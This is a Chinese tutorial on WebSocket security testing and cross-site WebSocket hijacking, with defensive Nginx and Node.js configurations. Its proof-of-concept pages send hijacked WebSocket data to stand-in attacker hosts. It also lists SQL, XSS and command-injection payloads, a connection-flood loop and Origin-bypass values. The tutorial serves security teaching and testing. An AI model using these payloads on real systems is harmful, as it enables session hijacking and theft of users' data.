【教程】WebSocket安全测试:从劫持到跨站点WebSocket劫持(CSWSH)
适合人群:安全测试工程师、渗透测试初学者、Web开发者
前置知识:HTTP协议基础、WebSocket基本概念、Burp Suite使用
一、前置准备
工具安装
# Burp Suite(推荐Pro版用于WebSocket抓包)
# WebSocket Collector插件(Burp Suite BApp Store可安装)
# 本地WebSocket测试环境(Node.js)
npm install -g wscat # WebSocket命令行客户端
# Python WebSocket客户端
pip install websocket-client
靶场搭建
推荐使用在线靶场或本地搭建:
# 拉取包含WebSocket漏洞的DVWS靶场
git clone https://github.com/interference-security/DVWS.git
cd DVWS
docker-compose up -d
# 或手动配置PHP环境 + MySQL
二、核心原理
WebSocket 是什么?
WebSocket 是一种全双工通信协议,在单个 TCP 连接上进行双向数据传输。与 HTTP 不同,WebSocket 建立后服务器可以主动向客户端推送数据。
握手过程:
客户端 → 服务器(HTTP Upgrade 请求)
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
服务器 → 客户端(101 Switching Protocols)
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
CSWSH(跨站点WebSocket劫持)原理
CSWSH 的原理与 CSRF 类似——攻击者利用受害者的已认证会话,通过恶意网页在受害者浏览器中创建 WebSocket 连接到目标服务器。关键在于服务器仅检查 Cookie/Session,但未验证 Origin 头。
攻击者网页 <script>
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() {
ws.send('敏感数据查询');
};
ws.onmessage = function(e) {
// 将窃取到的数据发送到攻击者服务器
new Image().src = 'https://attacker.com/steal?data=' + btoa(e.data);
};
</script>
三、实操步骤
Step 1:发现 WebSocket 端点
使用 Burp Suite 抓包,或浏览器开发者工具查看 WebSocket 连接:
// 浏览器控制台查看 WebSocket 连接
// 在 Console 输入:
// 方式一:查看所有 WebSocket 对象
console.log(window.WebSocket);
// 方式二:通过 Performance 面板录制 → WS 标签页
// 方式三:Burp Suite → WebSocket History 标签
使用 wscat 连接测试:
# 连接到 WebSocket 端点
wscat -c ws://target.com/ws/chat
# 发送测试消息
> {"action":"get_messages","room":"general"}
< {"status":"ok","messages":[...]}
Step 2:测试 CSWSH 漏洞
检测条件:
- WebSocket 握手时使用 Cookie 认证(而非 Token 头)
- 服务器未校验
Origin头 - 连接后可直接操作敏感功能
PoC 构造:
<!-- cswsh_poc.html -->
<html>
<body>
<h1>CSWSH PoC</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');
// 1. 建立 WebSocket 连接(自动携带浏览器 Cookie)
const ws = new WebSocket('wss://target.com/ws/chat');
ws.onopen = () => {
output.textContent += '[+] 连接成功!\n';
// 发送恶意查询
ws.send(JSON.stringify({action: 'get_all_users', admin: true}));
};
ws.onmessage = (event) => {
const data = event.data;
output.textContent += '[+] 收到数据:' + data + '\n';
// 窃取数据:发送到攻击者服务器
fetch('https://attacker.example.com/steal?d=' + btoa(data));
};
ws.onerror = () => {
output.textContent += '[-] 连接失败\n';
};
</script>
</body>
</html>
测试步骤:
# 1. 在已登录 target.com 的浏览器中打开 PoC 页面
# 2. 观察 WebSocket 是否成功建立连接
# 3. 检查服务器是否有响应数据返回
# 4. 确认数据是否被发送到攻击者服务器
Step 3:WebSocket 消息篡改测试
使用 Burp Suite 拦截 WebSocket 消息:
# Burp Proxy → WebSocket History → 选择消息
# 右键 → Send to Repeater (WebSocket)
# 在 Repeater 中修改消息内容并重发
原始消息: {"action":"get_profile","user_id":1001}
修改后: {"action":"get_profile","user_id":1002}
Step 4:WebSocket 消息注入
WebSocket 消息如果未正确过滤,同样存在注入风险:
// 正常消息
{"action":"chat","message":"Hello"}
// SQL 注入测试
{"action":"chat","message":"' OR 1=1--"}
// XSS 测试(消息在页面中渲染时)
{"action":"chat","message":"<img src=x onerror=alert(1)>"}
// 命令注入(服务端执行命令的场景)
{"action":"exec","command":"ping -c 1 8.8.8.8;id"}
Step 5:WebSocket 拒绝服务测试
某些 WebSocket 实现存在 DoS 风险:
// 快速连接/断开循环
for (let i = 0; i < 1000; i++) {
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = () => ws.close();
}
四、绕过技术
4.1 Origin 头绕过
| 绕过方式 | 说明 | 示例 |
|---|---|---|
| 空 Origin | 某些服务器会接受空 Origin | Origin: null |
| 同域绕过 | 寻找 XSS 后在同域下执行 | 利用 XSS 创建 WebSocket |
| 解析差异 | Origin 的 URL 解析差异 | Origin: https://target.com.evil.com |
| 前缀匹配绕过 | 仅检查是否包含 target.com | Origin: https://x-target.com |
| Proxy 绕过 | 通过受影响子域 | Origin: https://sub.target.com |
4.2 认证绕过
// 如果服务器使用 Token 而非 Cookie 认证
// 可以尝试:
// 1. 硬编码 Token
const ws = new WebSocket('wss://target.com/ws?token=eyJhbGci...');
// 2. HTTP 头方式
const ws = new WebSocket('wss://target.com/ws', {
headers: {
'Authorization': 'Bearer eyJhbGci...'
}
});
// 3. 消息体认证
ws.onopen = () => {
ws.send(JSON.stringify({auth: 'token_value'...}));
};
五、实战案例复盘
案例:即时通讯应用 CSWSH
场景:某企业内部即时通讯应用使用 WebSocket 推送消息。用户登录后浏览器与 wss://chat.internal.com/ws 建立 WebSocket 连接,认证仅靠 Cookie。
攻击过程:
1. 攻击者发现 WebSocket 端点未校验 Origin 头
2. 构造恶意 HTML 页面
3. 发送钓鱼链接给已登录员工
4. 员工浏览器自动携带 Cookie 建立 WebSocket
5. 攻击者 PoC 发送 {"action":"read_all_messages"}
6. 服务器返回所有聊天记录(含敏感信息)
7. 数据被发送到攻击者服务器
影响:数千条内部聊天记录泄露,含项目代码片段、密码讨论等。
修复:服务端添加 Origin 头校验 + WebSocket 握手时验证 Token。
六、防御建议
| 防御措施 | 实现方式 | 优先级 |
|---|---|---|
| Origin 校验 | 服务端严格校验 Origin 头,仅允许白名单域名 | P0 |
| Token 认证 | WebSocket 建立时携带 Token(非 Cookie),服务端验证 | P0 |
| 消息加密 | WSS(WebSocket Secure)+ 应用层加密 | P1 |
| 速率限制 | 限制单个客户端连接数和消息频率 | P1 |
| 输入过滤 | 对 WebSocket 消息内容进行严格校验和过滤 | P1 |
| 会话绑定 | WebSocket 会话与 HTTP 会话绑定,校验一致性 | P1 |
Nginx 配置示例
# 限制 WebSocket 连接
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
server {
listen 443 ssl;
server_name chat.example.com;
location /ws/ {
proxy_pass http://backend:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header Host $host;
# 严格校验 Origin(关键)
if ($http_origin !~* "^https?://(chat\.example\.com|admin\.example\.com)$") {
return 403;
}
}
}
服务端 Token 验证(Node.js 示例)
const WebSocket = require('ws');
const url = require('url');
const wss = new WebSocket.Server({ port: 8080 });
wss.on('connection', (ws, req) => {
// 方式一:从查询参数获取 Token
const params = url.parse(req.url, true).query;
const token = params.token;
if (!validateToken(token)) {
ws.close(4001, 'Authentication failed');
return;
}
// 方式二:校验 Origin
const origin = req.headers.origin;
if (!allowedOrigins.includes(origin)) {
ws.close(4002, 'Invalid origin');
return;
}
ws.on('message', (message) => {
// 消息内容校验
try {
const data = JSON.parse(message);
if (!validateMessage(data)) {
ws.send(JSON.stringify({error: 'Invalid message format'}));
return;
}
// 处理消息...
} catch (e) {
ws.send(JSON.stringify({error: 'Invalid JSON'}));
}
});
});
七、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | 只测 HTTP 不测 WebSocket | 很多测试人员只关注 REST API,忽略 WebSocket 端点 |
| 2 | 忽略认证机制差异 | WebSocket 建立时的认证可能比 HTTP API 弱 |
| 3 | 浏览器同源策略误解 | WebSocket 不受严格同源策略限制,Origin 只是 HTTP 头 |
| 4 | 自签证书跳过安全 | WSS 自签证书仍可中间人,应验证证书链 |
| 5 | 消息体注入忽略 | WebSocket 消息体也可能存在注入(SQL、NoSQL、命令注入) |
| 6 | WebSocket 重连机制 | 重连时可能暴露临时凭证或降级安全等级 |
八、总结(含速查表)
CSWSH 检测速查表
┌─────────────────────────────────────────┐
│ 步骤 │ 操作 │ 工具 │
├────────┼──────────────────────────┼────────┤
│ 1 │ 发现 WebSocket 端点 │ Burp │
│ 2 │ 检查认证方式(Cookie/Token)│ 浏览器 │
│ 3 │ 测试 Origin 校验 │ PoC页面 │
│ 4 │ 验证敏感功能可操作 │ wscat │
│ 5 │ 构造 CSWSH PoC │ HTML │
│ 6 │ 确认数据窃取链路 │ 监听服务器 │
└─────────────────────────────────────────┘
WebSocket 安全测试 Payload 速查表
| 测试类型 | Payload | 预期结果 |
|---|---|---|
| CSWSH | HTML PoC 页面连接 WebSocket | 连接成功 + 数据返回 |
| 认证绕过 | 添加 ?token= 参数或 Message 内嵌认证 | 获取未授权数据 |
| SQL 注入 | {"id":"1' OR '1'='1"} | 错误信息或异常数据 |
| XSS 注入 | {"msg":"<script>alert(1)</script>"} | 弹窗 |
| 命令注入 | {"cmd":"id"} | 返回 uid=... |
| DoS | 大量连接/断开操作 | 服务端 CPU 飙升或拒绝连接 |
| 信息泄露 | 枚举 user_id 参数 | 越权获取其他用户数据 |
核心知识点
- WebSocket 不受浏览器同源策略限制——这是 CSWSH 能成功的前提
- WebSocket 认证 ≠ HTTP 认证——独立测试 WebSocket 的认证机制
- 始终使用 WSS——明文 WebSocket 可被中间人劫持
- 服务器端必须校验 Origin——这是防御 CSWSH 的第一道防线
- 不要依赖 Cookie 做 WebSocket 认证——使用 Token 更安全
参考资源
- OWASP WebSocket Security Cheat Sheet
- RFC 6455 - The WebSocket Protocol
- Burp Suite WebSocket Testing Guide